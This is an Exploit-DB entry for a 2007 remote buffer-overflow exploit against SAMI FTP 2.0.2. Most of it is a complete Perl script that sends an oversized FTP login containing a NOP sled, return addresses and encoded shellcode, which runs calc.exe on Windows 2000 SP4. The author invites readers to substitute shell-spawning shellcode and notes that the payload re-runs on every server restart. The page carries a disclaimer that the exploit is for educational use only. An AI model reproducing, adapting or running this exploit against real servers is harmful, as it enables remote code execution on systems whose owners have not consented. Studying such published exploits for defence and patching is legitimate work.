Exploit for SAMI FTP version 2.0.2

vendor:

SAMI FTP

by:

UmZ

N/A

CVSS

N/A

USER/PASS BUFFER OVERFLOW ARBITARY REMOTE CODE EXECUTION

CWE

Product Name: SAMI FTP

Affected Version From:

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Windows 2000 SP4

2007

Exploit for SAMI FTP version 2.0.2

You can put your own shellcode to spawn a shell. After executing the exploit, you will get 'Cannot login User or password not correct.' That doesn't mean the exploit failed. Whenever you click on Sami FTP server, it will crash resulting in the execution of calc.exe and will execute whenever the SAMI FTP server restarts until it is reinstalled.

Mitigation:

Please do not use it against any system without prior permission.

Source

Exploit-DB raw data:

#!/usr/bin/perl
#		Exploit for SAMI FTP  version 2.0.2
#		USER/PASS BUFFER OVERFLOW ARBITARY REMOTE CODE EXECUTION (CALC.exe) 
#		You can put you own shellcode to spawn a shell
#		Thrusday 17th  Jan 2007
#		Tested on : Windows 2000 SP4  (Use your own return address for other flavors)		
#		
#				
#		
#		Coded by UmZ! umz32.dll@gmail.com
#		On behalf of : Secure Bytes Inc.
#		http://www.secure-bytes.com/exploits/
#	
#
#	
#	    Special Thanks to Ahmad Tauqeer, Ali Shuja and Uquali
#
#
#	    Disclaimer: This Proof of concept exploit is for educational purpose only.
#		        Please do not use it against any system without prior permission.
#          		You are responsible for yourself for what you do with this code.
#
#
#	    Note:	After executing the exploit You will get "Cannot login User or password not correct."
#			That doesn't mean exploit failed whenever you click on Sami FTP server it will crash 
#			resulting in the execution of calc.exe and will execute whenever the SAMI FTP server 
#			restarts until it is reinstalled.


use Net::FTP;


print "Coded by UmZ! umz32.dll@gmail.com\n";
print "http://www.secure-bytes.com/exploits/\n";
	
$ftp = Net::FTP->new("192.168.100.250", Debug => 0) or die "Cannot connect : $@";

my $msg ="\x90" x596;      #140
my $msg2 ="B"x484;
my $shellcode =  "\x31\xc9\x83\xe9\xdb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd8".
		 "\x22\x72\xe4\x83\xeb\xfc\xe2\xf4\x24\xca\x34\xe4\xd8\x22\xf9\xa1".
		 "\xe4\xa9\x0e\xe1\xa0\x23\x9d\x6f\x97\x3a\xf9\xbb\xf8\x23\x99\x07".
		 "\xf6\x6b\xf9\xd0\x53\x23\x9c\xd5\x18\xbb\xde\x60\x18\x56\x75\x25".
		 "\x12\x2f\x73\x26\x33\xd6\x49\xb0\xfc\x26\x07\x07\x53\x7d\x56\xe5".
		 "\x33\x44\xf9\xe8\x93\xa9\x2d\xf8\xd9\xc9\xf9\xf8\x53\x23\x99\x6d".
		 "\x84\x06\x76\x27\xe9\xe2\x16\x6f\x98\x12\xf7\x24\xa0\x2d\xf9\xa4".
		 "\xd4\xa9\x02\xf8\x75\xa9\x1a\xec\x31\x29\x72\xe4\xd8\xa9\x32\xd0".
		 "\xdd\x5e\x72\xe4\xd8\xa9\x1a\xd8\x87\x13\x84\x84\x8e\xc9\x7f\x8c".
		 "\x28\xa8\x76\xbb\xb0\xba\x8c\x6e\xd6\x75\x8d\x03\x30\xcc\x8d\x1b".
		 "\x27\x41\x13\x88\xbb\x0c\x17\x9c\xbd\x22\x72\xe4";

my $test= "\x90" x 108;

my $msg1=$msg. "\x70\xFD\x8B\x01"."\x96\x64\xF8\x77". $test .  $shellcode. "\r\n";

$ftp->login($msg1."\r\n\0","umz") or die "Cannot login ", $ftp->message;

$ftp->quit;

# milw0rm.com [2007-01-17]